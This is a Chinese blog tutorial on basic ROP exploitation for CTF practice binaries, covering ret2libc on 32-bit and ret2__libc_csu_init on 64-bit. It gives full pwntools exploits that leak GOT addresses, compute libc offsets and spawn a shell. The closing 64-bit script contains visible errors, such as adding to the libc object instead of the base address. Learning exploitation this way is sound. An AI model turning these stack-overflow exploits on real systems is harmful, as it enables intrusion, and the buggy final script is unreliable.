查一下保护,NX保护,32位

1
2
3
4
5
6
7
Arch:       i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes

源码和上两个差不多,栈长112字节,与上两个不同的是,这次既没有system函数,也没有/bin/sh

那我们现在的当务之急是找到system函数的地址,那我们应该如何得到呢?这里主要利用了两个知识点:

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。而 libc 在github上有人进行收集,如下https://github.com/niklasb/libc-database

所以我们只要得到libc的版本,就可以知道了system函数和/bin/sh的偏移量。知道偏移量后,再找到libc的基地址,就可以得到system函数的真实地址,就可以做我们想要做的事情了,我们可以通过一个公式来得到system的真实地址。

1
libc基地址  +  函数偏移量   =  函数真实地址

举个例子:如计算system函数在内存空间中的函数地址:

  • 拿到__libc_start_main函数在内存空间中的地址addr_main
  • __libc_start_main函数相对于libc.so.6的起始地址是addr_a(前提是需要知道libc的版本)
  • system函数相对于libc.so.6的起始地址是addr_b
  • 则system函数在内存中真正的地址为addr_main + addr_b - addr_a

问题又来了,我们该如何泄露函数的真实地址的,这里涉及到了libc的延迟绑定技术,第一次调用时,发生如下过程

第二次调用时,发生如下过程:

我们要泄露函数的真实地址,一般的方法是采用got表泄露,因为只要之前执行过puts函数,got表里存放着就是函数的真实地址了,这里我用的是puts函数,因为程序里已经运行过了puts函数,真实地址已经存放到了got表内。我们得到puts函数的got地址后,可以把这个地址作为参数传递给puts函数,则会把这个地址里的数据,即puts函数的真实地址给输出出来,这样我们就得到了puts函数的真实地址。
脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

p = process('./ret2libc3')
elf = ELF('./ret2libc3')

puts_got_addr = elf.got['puts']#得到puts的got的地址,这个地址里的数据即函数的真实地址,即我们要泄露的对象
puts_plt_addr = elf.plt['puts']#puts的plt表的地址,我们需要利用puts函数泄露
main_plt_addr = elf.symbols['_start']#返回地址被覆盖为main函数的地址。使程序还可被溢出

print ("puts_got_addr = ",hex(puts_got_addr))
print ("puts_plt_addr = ",hex(puts_plt_addr))
print ("main_plt_addr = ",hex(main_plt_addr))

payload = b''
payload += b'A'*112
payload += p32(puts_plt_addr)#覆盖返回地址为puts函数
payload += p32(main_plt_addr)#这里是puts函数返回的地址。
payload += p32(puts_got_addr)#这里是puts函数的参数

p.recv()#接收程序一开始输出的一些信息
p.sendline(payload)

puts_addr = u32(p.recv()[0:4])#将地址输出出来后再用332解包,此时就得到了puts函数的真实地址。
print ("puts_addr = ",hex(puts_addr))

输出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[+] Starting local process './ret2libc3': pid 2997
[*] '/home/xyq/ret2libc3_/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
puts_got_addr = 0x804a018
puts_plt_addr = 0x8048460
main_plt_addr = 0x80484d0
puts_addr = 0xea8692a0
[*] Stopped process './ret2libc3' (pid 2997)

每一次运行时puts_addr的值都会发生改变,这是因为Linux系统开了ASLR(地址随机化)保护,但是它不会改变最低12位,因为需要内存对齐,在我的虚拟机上,puts函数的真实地址的最低12位为2a0,可以在这个网站上可以根据后十二位查到这个函数所在的libc的版本,我查到了7个版本,所以,这里我们用一个小工具LibcSearcher

于是,我们对EXP做出如下修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *

p = process('./ret2libc3')
elf = ELF('./ret2libc3')

puts_got_addr = elf.got['puts']#得到puts的got的地址,这个地址里的数据即函数的真实地址,即我们要泄露的对象
puts_plt_addr = elf.plt['puts']#puts的plt表的地址,我们需要利用puts函数泄露
main_plt_addr = elf.symbols['_start']#返回地址被覆盖为main函数的地址。使程序还可被溢出

print ("puts_got_addr = ",hex(puts_got_addr))
print ("puts_plt_addr = ",hex(puts_plt_addr))
print ("main_plt_addr = ",hex(main_plt_addr))

payload = b''
payload += b'A'*112
payload += p32(puts_plt_addr)#覆盖返回地址为puts函数
payload += p32(main_plt_addr)#这里是puts函数返回的地址。
payload += p32(puts_got_addr)#这里是puts函数的参数

p.recv()#接收程序一开始输出的一些信息
p.sendline(payload)

puts_addr = u32(p.recv()[0:4])#将地址输出出来后再用332解包,此时就得到了puts函数的真实地址。
print ("puts_addr = ",hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)
libcbase = puts_addr - libc.dump("puts") #libc基地址 = 函数真实地址 - 函数的偏移量
system_addr = libcbase + libc.dump("system")
binsh_addr = libcbase + libc.dump("str_bin_sh")

payload2 = b'A'*112 + p32(system_addr) + p32(1234) + p32(binsh_addr)

p.recv()
p.sendline(payload2)
p.interactive()

如果无法查询到libc库的信息,可以看看这篇文章

输出如下结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/xyq/.cache/.pwntools-cache-3.10/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.13.1)
[+] Starting local process './ret2libc3': pid 2449
[*] '/home/xyq/ret2libc3_/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Debuginfo: Yes
puts_got_addr = 0x804a018
puts_plt_addr = 0x8048460
main_plt_addr = 0x80484d0
puts_addr = 0xf29482a0
Multi Results:
0: ubuntu-glibc (id libc6_2.35-0ubuntu3.8_i386)
1: ubuntu-old-glibc (id libc6-x32_2.34-0ubuntu3_amd64)
2: ubuntu-old-glibc (id libc6-x32_2.34-0ubuntu3_i386)
Please supply more info using
add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:exit
[*] Stopped process './ret2libc3' (pid 2449)

我们可以看到输出了三个libc库,一般来说,第一个,较新的libc库是这个程序所用的库。当然,也可以不在exp中导入LibcSearcher包,可以在得出puts函数的真实地址后,用Libcseracher/libc-database下的find程序来找到对应的库。

1
2
./find puts 2a0
ubuntu-glibc (libc6_2.35-0ubuntu3.8_i386)

之后,我们需要用到该目录下的dump程序来差这个库的偏移

1
2
3
4
5
6
7
8
9
./dump libc6_2.35-0ubuntu3.8_i386
offset___libc_start_main_ret = 0x21519
offset_system = 0x00048170
offset_dup2 = 0x0010afb0
offset_read = 0x0010a170
offset_write = 0x0010a240
offset_str_bin_sh = 0x1bd0d5
❯ ./dump libc6_2.35-0ubuntu3.8_i386 puts
offset_puts = 0x000732a0 //我们需要这个来找到libc库的基地址

有了这些,我们就即可以构造完整的exp了(如果上一步用了LibcSearcher包,这一步就可以把相关代码注释掉了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

p = process('./ret2libc3')
elf = ELF('./ret2libc3')

puts_got_addr = elf.got['puts']#得到puts的got的地址,这个地址里的数据即函数的真实地址,即我们要泄露的对象
puts_plt_addr = elf.plt['puts']#puts的plt表的地址,我们需要利用puts函数泄露
main_plt_addr = elf.symbols['_start']#返回地址被覆盖为main函数的地址。使程序还可被溢出

print ("puts_got_addr = ",hex(puts_got_addr))
print ("puts_plt_addr = ",hex(puts_plt_addr))
print ("main_plt_addr = ",hex(main_plt_addr))

payload = b''
payload += b'A'*112
payload += p32(puts_plt_addr)#覆盖返回地址为puts函数
payload += p32(main_plt_addr)#这里是puts函数返回的地址。
payload += p32(puts_got_addr)#这里是puts函数的参数

p.recv()#接收程序一开始输出的一些信息
p.sendline(payload)

puts_addr = u32(p.recv()[0:4])#将地址输出出来后再用u32解包,此时就得到了puts函数的真实地址。
print ("puts_addr = ",hex(puts_addr))

sys_offset = 0x00048170
puts_offset = 0x000732a0
sh_offset = 0x1bd0d5

libc_base_addr = puts_addr - puts_offset
sys_addr = libc_base_addr + sys_offset
sh_addr = libc_base_addr + sh_offset

payload2 = b'' + b'A'*112 + p32(sys_addr) + b'AAAA' + p32(sh_addr)

p.sendline(payload2)
p.interactive()

运行后成功getshell

ret2libc 64位,ret2__libc_csu_init

学习参考:https://www.yuque.com/cyberangel/rg9gdm/ka1885

原理

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。

下面直接用实例学习

实例

我们先来看一下这个函数(当然,不同版本的这个函数有一定的区别),将程序扔到IDA中,其汇编代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
.text:00000000004005C0
.text:00000000004005C0 ; =============== S U B R O U T I N E =======================================
.text:00000000004005C0
.text:00000000004005C0
.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near ; DATA XREF: _start+16↑o
.text:00000000004005C0 ; __unwind {
.text:00000000004005C0 push r15
.text:00000000004005C2 push r14
.text:00000000004005C4 mov r15d, edi
.text:00000000004005C7 push r13
.text:00000000004005C9 push r12
.text:00000000004005CB lea r12, __frame_dummy_init_array_entry
.text:00000000004005D2 push rbp
.text:00000000004005D3 lea rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA push rbx
.text:00000000004005DB mov r14, rsi
.text:00000000004005DE mov r13, rdx
.text:00000000004005E1 sub rbp, r12
.text:00000000004005E4 sub rsp, 8
.text:00000000004005E8 sar rbp, 3
.text:00000000004005EC call _init_proc
.text:00000000004005F1 test rbp, rbp
.text:00000000004005F4 jz short loc_400616
.text:00000000004005F6 xor ebx, ebx
.text:00000000004005F8 nop dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040060D add rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400616 add rsp, 8
.text:000000000040061A pop rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 ; } // starts at 4005C0
.text:0000000000400624 __libc_csu_init endp
.text:0000000000400624
.text:0000000000400624 ; ---------------------------------------------------------------------------

这里我们可以利用以下几点:从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据(因为都是向寄存器进行pop)。对应的汇编如下:

1
2
3
4
5
6
7
8
9
10
11
.text:000000000040061A                 pop     rbx
.text:000000000040061B pop rbp
.text:000000000040061C pop r12
.text:000000000040061E pop r13
.text:0000000000400620 pop r14
.text:0000000000400622 pop r15
.text:0000000000400624 retn
.text:0000000000400624 ; } // starts at 4005C0
.text:0000000000400624 __libc_csu_init endp
.text:0000000000400624
.text:0000000000400624 ; ---------------------------------------------------------------------------

从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx,将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0。所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器(rdx、rsi、edi)。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。对应的汇编如下:

1
2
3
4
5
6
.text:0000000000400600
.text:0000000000400600 loc_400600: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400600 mov rdx, r13
.text:0000000000400603 mov rsi, r14
.text:0000000000400606 mov edi, r15d
.text:0000000000400609 call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]

从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置rbx=0,rbp=1。对应的汇编代码如下:

1
2
3
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611 cmp rbx, rbp
.text:0000000000400614 jnz short loc_400600

开始做题

首先,查一下保护,开启了NX保护,64位

1
2
3
4
5
6
Arch:       amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No

运行以下

1
2
3
❯ ./level5
Hello, World
123456

看一下源码,main函数

1
2
3
4
5
6
int __fastcall main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
vulnerable_function(1LL);
return 0;
}

vulnerable_function函数

1
2
3
4
5
6
ssize_t vulnerable_function()
{
_BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x200uLL);
}

发现read函数,并有溢出

cyclic生成字符串,然后用GDB动调,然后用rsp来找偏移,命令是x/wx $rsp不要理解错了,rsp中没有储存返回地址,而是储存存放返回地址的内存的地址,而这个命令是打印rsp指向的内存的内容

1
2
3
4
pwndbg> x/wx $rsp
0x7fffffffdeb8: 0x6261616a
❯ cyclic -l 0x6261616a
136

栈偏移为136

从IDA里可以看到,没有system函数,但有一个已知的write函数,我们可以利用这个函数并利用libc泄露出程序加载到内存后的地址(当然也可以选用__libc_start_main)。


补充:

__libc_start_main是Linux程序中glibc库提供的一个非常重要的函数,它在程序的启动过程中扮演着核心角色。这个函数负责完成程序启动前的一系列初始化工作,并最终调用用户的 main 函数。所以,它也在程序依赖的libc库中,注意,它和main函数不同。


下面时第一部分exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux')

p = process('./level')
e = ELF('./level')

pop_addr = 0x40061A
write_got = e.got['write']
mov_addr = 0x400600
main_addr = e.symbols['main']

p.recvuntil('Hello World\n')
payload0 = b'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(mov_addr) + b'a'*(0x8+8*6) + p64(main_addr)
p.sendline(payload0)

write_addr = u64(p.recv(8))
print("write_addr ==>",hex(write_addr))

这里重点解释一下payload0

  • **b’A’*136:**填充垃圾数据,造成栈溢出

  • 然后让pop_addr覆盖栈中的返回地址,使程序执行pop_addr地址处的函数,并分别将栈中的0、1、write_got函数地址、8、write_got、1分别pop到寄存器rbx、rbp、r12、r13、r14、r15中去。之后将pop函数的返回地址覆盖mov_addr的地址为,如下:

    1
    2
    3
    4
    5
    6
    7
    .text:000000000040061A                 pop     rbx  //rbx->0
    .text:000000000040061B pop rbp //rbp->1
    .text:000000000040061C pop r12 //r12->write_got函数地址
    .text:000000000040061E pop r13 //r13->8
    .text:0000000000400620 pop r14 //r14->write_got函数地址
    .text:0000000000400622 pop r15 //r15->1
    .text:0000000000400624 retn //覆盖为mov_addr

    解释一下payload0中两个write_got函数的作用:再布置完寄存器后,由于有 call qword ptr [r12+rbx*8]它调用了write函数,其参数为write_got函数地址(r14寄存器,动调一下就知道了),写成C语言类似于:write(write_got函数地址)==printf(write_got函数地址),再使用u64(p.recv(8))接受数据并print出来就行了

  • 之后程序转向mov_addr函数,利用mov指令布置寄存器rdx,rsi,edi

    1
    2
    3
    4
    5
    6
    7
    .text:0000000000400600                 mov     rdx, r13  //rdx==r13==8
    .text:0000000000400603 mov rsi, r14 //rsi==r14==write_got函数地址
    .text:0000000000400606 mov edi, r15d //edi==r15d==1
    .text:0000000000400609 call qword ptr [r12+rbx*8] //call write_got函数地址
    .text:000000000040060D add rbx, 1
    .text:0000000000400611 cmp rbx, rbp //rbx==1,rbp==1
    .text:0000000000400614 jnz short loc_400600

    JNZ(或JNE)(jump if not zero, or not equal),汇编语言中的条件转移指令。结果不为零(或不相等)则转移
    这里rbx和rbp都等于1,他们相等,所以程序不会执行400603处的命令,但是这些命令的下一条就是pop_addr的命令,但是我们并不希望它执行到这个函数(因为他会再次pop寄存器更换我们布置好的内容),所以就有了b'a'*(0x8+8*6),它的作用就是为了平衡堆栈,所以为了堆栈平衡,我们使用垃圾数据填充此处的代码(栈区和代码区同属于内存区域,可以被填充)

之后,我们就可以构建完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux')

p = process('./level')
e = ELF('./level')

pop_addr = 0x40061A
write_got = e.got['write']
mov_addr = 0x400600
main_addr = e.symbols['main']

p.recvuntil('Hello World\n')
payload0 = b'A'*136 + p64(pop_addr) + p64(0) + p64(1) + p64(write_got) + p64(8) + p64(write_got) + p64(1) + p64(mov_addr) + 'a'*(0x8+8*6) + p64(main_addr)
p.sendline(payload0)

write_addr = u64(p.recv(8))
print("write_addr ==>",hex(write_addr))

libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
sys_addr = libc + libc.dump('system')
sh_addr = libc + libc.dump('str_bin_sh')
print("system==>", hex(sys_addr))
print("sh_addr==>", hex(sh_addr))

pop_rdi_ret = 0x400623
payload2 = b'A'*136 + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)

p.send(payload2)
p.interactive()

基本ROP
http://example.com/2025/01/22/基本ROP/
作者
玄渊
发布于
2025年1月22日
许可协议